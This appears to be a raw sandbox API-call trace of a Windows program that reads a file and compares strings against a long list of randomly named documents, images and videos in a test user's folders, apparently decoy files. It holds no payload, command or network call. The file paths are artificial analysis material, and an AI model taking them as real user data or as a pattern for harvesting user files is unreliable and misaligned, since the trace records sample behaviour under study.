	[0098.880] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0098.880] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x182cc4, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc4*=0x8, lpOverlapped=0x0) returned 1
	[0098.880] _memicmp (_Buf1=0x186f1c, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0098.880] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0098.880] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x182cc0, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc0*=0x100, lpOverlapped=0x0) returned 1
	[0098.880] _strlwr (in: _Str=":Host: Computer" | out: _Str=":host: computer") returned=":host: computer"
	[0098.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr=":host: computer") returned 16
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned -1
	[0098.880] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned -1
	[0098.881] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned -1
	[0098.882] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned -1
	[0098.882] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/vx8QqgXIV3Q7Qe87.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx"
	[0098.882] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 58
	[0098.883] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/QllZ-Y6zXxcGv.pptx" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx"
	[0098.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 61
	[0098.883] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/GYQQz0Qe7ObpQ.xlsx" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx"
	[0098.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 74
	[0098.883] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/u360dJmkgzvGd5cDM.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp"
	[0098.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 103
	[0098.883] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/gjve.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/gjve.gif") returned="file:///c:/users/aetadzjz/pictures/gjve.gif"
	[0098.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 44
	[0098.883] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/DYz_3VM%200T2QZuD-5rtt.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp"
	[0098.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 88
	[0098.883] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/QeUbJQgALSEq5.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp"
	[0098.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 73
	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/sF46HUA1vlRJ5-.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp"
	[0098.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 68
	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/N3TKPk6ThmsMB%20WL.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg"
	[0098.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 96
	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/XvVZheK.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods"
	[0098.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 104
	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Zpb1TCp9A.odt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt"
	[0098.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 56
	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/eEe6Tei2Z7N.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx"
	[0098.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 53
	[0098.884] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/lGniBneWsYc7Osqccn4.docx" | out: _Str="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx"
	[0098.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x186fa0, cbMultiByte=-1, lpWideCharStr=0x182d1c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 61
